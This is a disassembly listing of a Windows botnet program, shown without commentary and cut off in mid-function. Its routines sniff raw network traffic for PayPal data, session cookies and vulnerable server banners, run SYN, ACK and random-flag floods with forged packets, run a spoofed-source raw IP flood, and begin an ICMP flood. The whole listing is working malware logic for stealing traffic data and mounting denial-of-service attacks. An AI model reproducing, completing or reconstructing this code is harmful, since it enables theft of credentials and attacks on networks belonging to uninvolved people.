loc_41311A: ; CODE XREF: sub_413100+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_413116
push offset aPaypal ; "paypal"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413140
loc_41313C: ; CODE XREF: sub_413100+4Fj
; sub_413100+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413140: ; CODE XREF: sub_413100+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aPaypal_com ; "PAYPAL.COM"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aPaypal_com_0 ; "paypal.com"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413100 endp
; =============== S U B R O U T I N E =======================================
sub_413187 proc near ; CODE XREF: sub_4131EC:loc_4135B1p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4131A1
loc_41319D: ; CODE XREF: sub_413187+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4131A1: ; CODE XREF: sub_413187+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41319D
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4131C7
loc_4131C3: ; CODE XREF: sub_413187+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4131C7: ; CODE XREF: sub_413187+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4131C3
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413187 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4131EC proc near ; DATA XREF: sub_401ACD+42A0o
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4CB9E8 ; gethostname
lea eax, [ebp+var_3B8]
push eax
call dword_4CBA58 ; gethostbyname
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call sub_41CD20
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4CBA54 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_413292
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_413292: ; CODE XREF: sub_4131EC+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4CBA00 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_413308
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B8]
push offset unk_437870
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_4132E4
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
loc_4132E4: ; CODE XREF: sub_4131EC+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_34]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_413308: ; CODE XREF: sub_4131EC+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4CB980 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_41338E
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B8]
push offset unk_437840
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_41336A
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
loc_41336A: ; CODE XREF: sub_4131EC+15Cj
lea eax, [ebp+var_2B8]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_34]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_41338E: ; CODE XREF: sub_4131EC+13Cj
mov esi, 200h
loc_413393: ; CODE XREF: sub_4131EC+1D6j
; sub_4131EC+1FBj ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4CB9EC ; recv
cmp [ebp+var_113AF], 6
jnz short loc_413393
push [ebp+var_113A4]
mov edi, ds:dword_4271CC
call edi ; htons
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; htons
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_413393
cmp [ebp+arg_0], 19h
jz short loc_413393
cmp edi, 6Eh
jz short loc_413393
cmp edi, 19h
jz short loc_413393
push [ebp+var_113AC]
call sub_412EDD
pop ecx
push dword ptr [eax]
call ds:dword_4271D0 ; inet_ntoa
push eax
lea eax, [ebp+var_13B8]
push offset aS_8 ; "%s"
push eax
call sub_41C266
push [ebp+var_113A8]
call sub_412EDD
add esp, 10h
push dword ptr [eax]
call ds:dword_4271D0 ; inet_ntoa
push eax
lea eax, [ebp+var_BB8]
push offset aS_8 ; "%s"
push eax
call sub_41C266
lea eax, [ebp+var_1138C]
mov [ebp+var_4], ebx
push eax
call sub_41B9C0
add esp, 10h
test eax, eax
jle short loc_413491
loc_41345D: ; CODE XREF: sub_4131EC+2A3j
mov eax, [ebp+var_4]
cmp [ebp+eax+var_1138C], 0Dh
lea eax, [ebp+eax+var_1138C]
jnz short loc_413474
mov byte ptr [eax], 20h
loc_413474: ; CODE XREF: sub_4131EC+283j
cmp byte ptr [eax], 0Ah
jnz short loc_41347C
mov byte ptr [eax], 20h
loc_41347C: ; CODE XREF: sub_4131EC+28Bj
inc [ebp+var_4]
lea eax, [ebp+var_1138C]
push eax
call sub_41B9C0
cmp [ebp+var_4], eax
pop ecx
jl short loc_41345D
loc_413491: ; CODE XREF: sub_4131EC+26Fj
cmp [ebp+arg_0], 50h
jz loc_413544
cmp edi, 50h
jz loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_412EEC
test al, al
pop ecx
jz short loc_4134D8
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_43780C
jmp loc_413573
; ---------------------------------------------------------------------------
loc_4134D8: ; CODE XREF: sub_4131EC+2C7j
cmp edi, 50h
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_413003
test al, al
pop ecx
jz short loc_41350E
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4377D8
jmp short loc_413573
; ---------------------------------------------------------------------------
loc_41350E: ; CODE XREF: sub_4131EC+300j
cmp edi, 50h
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_413079
test al, al
pop ecx
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4377A4
jmp short loc_413573
; ---------------------------------------------------------------------------
loc_413544: ; CODE XREF: sub_4131EC+2A9j
; sub_4131EC+2B2j ...
lea eax, [ebp+var_1138C]
push eax
call sub_413100
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_4135B1
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset unk_43776C
loc_413573: ; CODE XREF: sub_4131EC+2E7j
; sub_4131EC+320j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41C360
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_413393
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
jmp loc_413393
; ---------------------------------------------------------------------------
loc_4135B1: ; CODE XREF: sub_4131EC+36Ej
call sub_413187
test al, al
pop ecx
jz loc_413393
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_437734
jmp short loc_413573
sub_4131EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4135DF proc near ; DATA XREF: sub_401ACD+6464o
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_4139CB
add esp, 14h
push eax
lea eax, [ebp+var_494]
push offset unk_43789C
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_413672
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_409869
add esp, 14h
loc_413672: ; CODE XREF: sub_4135DF+71j
lea eax, [ebp+var_494]
push eax
call sub_415D38
push [ebp+var_290]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_4135DF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413694 proc near ; CODE XREF: sub_4139CB+40p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB944 ; WSAStartup
test eax, eax
jz short loc_4136D4
xor eax, eax
jmp loc_4139C7
; ---------------------------------------------------------------------------
loc_4136D4: ; CODE XREF: sub_413694+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CBA78 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4139BF
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_4139B5
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4CB9D4 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4CB9D4 ; htons
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4CB9D4 ; htons
mov [ebp+var_12], ax
call sub_41C2C2
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CB9D4 ; htons
push 12345678h
mov [ebp+var_14], ax
call dword_4CB9D0 ; htonl
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137A4
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_4137F8
; ---------------------------------------------------------------------------
loc_4137A4: ; CODE XREF: sub_413694+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137C0
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_4137F8
; ---------------------------------------------------------------------------
loc_4137C0: ; CODE XREF: sub_413694+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137F8
call sub_41C2C2
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41C2C2
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_4137F8: ; CODE XREF: sub_413694+10Ej
; sub_413694+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4CB9D4 ; htons
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
call ds:dword_42713C ; QueryPerformanceFrequency
lea eax, [ebp+var_1C]
push eax
call ds:dword_427138 ; QueryPerformanceCounter
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41DB20
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_413846: ; CODE XREF: sub_413694+2E2j
; sub_413694+2F0j
mov [ebp+var_4], bx
call sub_41C2C2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB9D4 ; htons
mov [ebp+var_14], ax
call sub_41C2C2
mov edi, eax
shl edi, 10h
call sub_41C2C2
or edi, eax
push edi
call dword_4CB9D4 ; htons
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB9D0 ; htonl
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB9D4 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41CD20
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BF70
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4CBA38 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_413989
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
call ds:dword_427138 ; QueryPerformanceCounter
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4139B2
jl loc_413846
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_4139B2
jmp loc_413846
; ---------------------------------------------------------------------------
loc_413989: ; CODE XREF: sub_413694+2CBj
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset dword_4378C4
push eax
call sub_41C266
lea eax, [ebp+var_F4]
push eax
call sub_415D38
add esp, 10h
jmp short loc_4139B5
; ---------------------------------------------------------------------------
loc_4139B2: ; CODE XREF: sub_413694+2E0j
; sub_413694+2EEj
mov ebx, [ebp+arg_8]
loc_4139B5: ; CODE XREF: sub_413694+78j
; sub_413694+31Cj
push [ebp+var_20]
call dword_4CBA6C ; closesocket
pop esi
loc_4139BF: ; CODE XREF: sub_413694+5Bj
call dword_4CB92C ; WSACleanup
mov eax, ebx
loc_4139C7: ; CODE XREF: sub_413694+3Bj
pop edi
pop ebx
leave
retn
sub_413694 endp
; =============== S U B R O U T I N E =======================================
sub_4139CB proc near ; CODE XREF: sub_4135DF+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A8F0
push [esp+10h+arg_4]
mov esi, eax
call sub_41C159
push [esp+14h+arg_C]
mov ebx, eax
call sub_41C159
mov edi, eax
call sub_41C2C2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_413694
add esp, 20h
test eax, eax
jnz short loc_413A1A
push 1
pop eax
loc_413A1A: ; CODE XREF: sub_4139CB+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4139CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413A29 proc near ; DATA XREF: sub_401ACD+6643o
var_3BC = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+arg_0]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_1BC]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_413AC4
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_4379C4
push eax
call sub_41C266
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_413AA7
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409869
add esp, 14h
loc_413AA7: ; CODE XREF: sub_413A29+5Cj
lea eax, [ebp+var_3BC]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
loc_413AC4: ; CODE XREF: sub_413A29+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_413B3B
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_437994
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_413B1E
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409869
add esp, 14h
loc_413B1E: ; CODE XREF: sub_413A29+D3j
lea eax, [ebp+var_3BC]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
loc_413B3B: ; CODE XREF: sub_413A29+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_413BA2
lea eax, [ebp+var_3BC]
push offset unk_437974
push eax
call sub_41C266
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_413B85
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409869
add esp, 14h
loc_413B85: ; CODE XREF: sub_413A29+13Aj
lea eax, [ebp+var_3BC]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
loc_413BA2: ; CODE XREF: sub_413A29+122j
push 10h
lea eax, [ebp+var_1C]
push edi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_1C], 2
push edi
call dword_4CB9D4 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_4CBA14 ; inet_addr
mov esi, ds:dword_4270B0
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
loc_413BE0: ; CODE XREF: sub_413A29+2E8j
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_30]
ja loc_413D8B
push 41Ch
mov byte_4CE740, 45h
call dword_4CB9D4 ; htons
cmp [ebp+var_2C], edi
mov word_4CE742, ax
mov word_4CE744, bx
mov word_4CE746, di
mov byte_4CE748, 80h
mov byte_4CE749, bl
mov word_4CE74A, di
jz short loc_413C66
call sub_41C2C2
mov ebx, eax
shl ebx, 8
call sub_41C2C2
add ebx, eax
shl ebx, 8
call sub_41C2C2
add ebx, eax
shl ebx, 8
call sub_41C2C2
add ebx, eax
push 1
mov dword_4CE74C, ebx
pop ebx
jmp short loc_413C7E
; ---------------------------------------------------------------------------
loc_413C66: ; CODE XREF: sub_413A29+20Bj
push [ebp+var_1BC]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14 ; inet_addr
mov dword_4CE74C, eax
loc_413C7E: ; CODE XREF: sub_413A29+23Bj
mov eax, [ebp+var_18]
mov dword_4CE750, eax
call sub_41C2C2
cdq
mov ecx, 100h
idiv ecx
mov byte_4CE754, dl
call sub_41C2C2
cdq
mov ecx, 100h
idiv ecx
mov byte_4CE755, dl
call sub_41C2C2
cdq
mov ecx, 0F0h
push 400h
idiv ecx
mov word_4CE756, di
mov word_4CE75A, bx
inc edx
mov word_4CE758, dx
call sub_41C2C2
cdq
mov ecx, 0FFh
idiv ecx
push edx
push offset dword_4CE75C
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1C]
push 10h
push eax
push edi
push 41Ch
push offset byte_4CE740
push [ebp+var_4]
call dword_4CBA38 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_413D16
inc [ebp+arg_0]
jmp loc_413BE0
; ---------------------------------------------------------------------------
loc_413D16: ; CODE XREF: sub_413A29+2E3j
push [ebp+var_4]
call dword_4CBA6C ; closesocket
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset unk_43792C
lea eax, [ebp+var_3BC]
push 200h
push eax
call sub_41C360
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_413D6E
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409869
add esp, 14h
loc_413D6E: ; CODE XREF: sub_413A29+323j
lea eax, [ebp+var_3BC]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
loc_413D8B: ; CODE XREF: sub_413A29+1C8j
push [ebp+var_4]
call dword_4CBA6C ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_3BC]
push offset unk_4378E0
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_413DF3
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409869
add esp, 14h
loc_413DF3: ; CODE XREF: sub_413A29+3A8j
lea eax, [ebp+var_3BC]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
sub_413A29 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413E10 proc near ; DATA XREF: sub_401ACD+542Do
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call dword_4CB95C ; IcmpCreateFile
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_4CBA14 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_413E6B
lea eax, [ebp+var_C0]
push eax
call dword_4CBA58 ; gethostbyname
cmp eax, ebx
jz short loc_413E71
loc_413E6B: ; CODE XREF: sub_413E10+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_413ECE
loc_413E71: ; CODE XREF: sub_413E10+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_437A1C
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_413EB1
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_409869
add esp, 14h
loc_413EB1: ; CODE XREF: sub_413E10+7Fj
lea eax, [ebp+var_344]
push eax
call sub_415D38
push [ebp+var_30]
call sub_40B6D6
pop ecx
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
